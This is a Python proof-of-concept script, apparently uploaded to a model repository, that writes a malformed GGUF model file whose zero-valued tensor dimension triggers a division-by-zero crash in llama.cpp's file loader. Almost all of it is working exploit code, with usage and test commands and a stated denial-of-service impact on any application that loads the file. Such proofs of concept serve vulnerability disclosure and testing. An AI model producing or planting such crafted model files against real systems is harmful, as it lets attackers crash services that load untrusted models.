Upload llama-cpp/craft_divzero_gguf.py with huggingface_hub

llama-cpp/craft_divzero_gguf.py

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+"""
+PoC GGUF Generator -- Division by Zero in Tensor Validation
+=============================================================
+Crafts a GGUF file with a zero-valued dimension that triggers
+INT64_MAX / 0 in gguf_init_from_file_impl()'s overflow check.
+
+The code validates ne[j] < 0 (rejects negative) but NOT ne[j] == 0.
+With n_dims >= 2 and ne[1] = 0: INT64_MAX / ne[1] = INT64_MAX / 0 -> SIGFPE.
+
+Usage:
+    python craft_divzero_gguf.py                # Generate divzero.gguf
+    python craft_divzero_gguf.py -o custom.gguf
+
+Then test:
+    ./llama-gguf-hash divzero.gguf
+    # Expected: Floating point exception (SIGFPE) / crash
+"""
+
+import argparse
+import struct
+
+GGUF_MAGIC = 0x46554747
+GGUF_VERSION = 3
+GGUF_DEFAULT_ALIGNMENT = 32
+GGUF_TYPE_STRING = 8
+GGML_TYPE_F32 = 0
+
+
+def write_gguf_string(f, s):
+    encoded = s.encode("utf-8")
+    f.write(struct.pack("<Q", len(encoded)))
+    f.write(encoded)
+
+
+def write_kv_string(f, key, value):
+    write_gguf_string(f, key)
+    f.write(struct.pack("<I", GGUF_TYPE_STRING))
+    write_gguf_string(f, value)
+
+
+def pad_to_alignment(f, alignment):
+    pos = f.tell()
+    remainder = pos % alignment
+    if remainder != 0:
+        f.write(b"\x00" * (alignment - remainder))
+
+
+def main():
+    parser = argparse.ArgumentParser(description="Craft GGUF with division-by-zero PoC")
+    parser.add_argument("-o", "--output", default="divzero.gguf", help="Output filename")
+    args = parser.parse_args()
+
+    print("Crafting GGUF with zero dimension to trigger INT64_MAX / 0...")
+    print("  n_dims = 2, ne[0] = 1, ne[1] = 0")
+    print("  Overflow check: INT64_MAX / ne[1] = INT64_MAX / 0 -> SIGFPE")
+    print()
+
+    with open(args.output, "wb") as f:
+        # Header
+        f.write(struct.pack("<I", GGUF_MAGIC))
+        f.write(struct.pack("<I", GGUF_VERSION))
+        f.write(struct.pack("<Q", 1))  # n_tensors = 1
+        f.write(struct.pack("<Q", 1))  # n_kv = 1
+
+        # Metadata: general.architecture (required)
+        write_kv_string(f, "general.architecture", "llama")
+
+        # Tensor info
+        write_gguf_string(f, "divzero_tensor")
+        f.write(struct.pack("<I", 2))      # n_dims = 2
+        f.write(struct.pack("<Q", 1))      # ne[0] = 1
+        f.write(struct.pack("<Q", 0))      # ne[1] = 0  <-- TRIGGERS DIV BY ZERO
+        f.write(struct.pack("<I", GGML_TYPE_F32))  # type = F32
+        f.write(struct.pack("<Q", 0))      # offset = 0
+
+        # Pad to alignment
+        pad_to_alignment(f, GGUF_DEFAULT_ALIGNMENT)
+
+        # Minimal tensor data
+        f.write(b"\x00" * 32)
+
+    print(f"Written: {args.output}")
+    print()
+    print("Test with:")
+    print(f"  ./llama-gguf-hash {args.output}")
+    print("  # Expected: 'Floating point exception' (SIGFPE) or crash")
+    print()
+    print("Impact: Any application using gguf_init_from_file() to load this")
+    print("file will crash. Denial of Service via crafted model file.")
+
+
+if __name__ == "__main__":
+    main()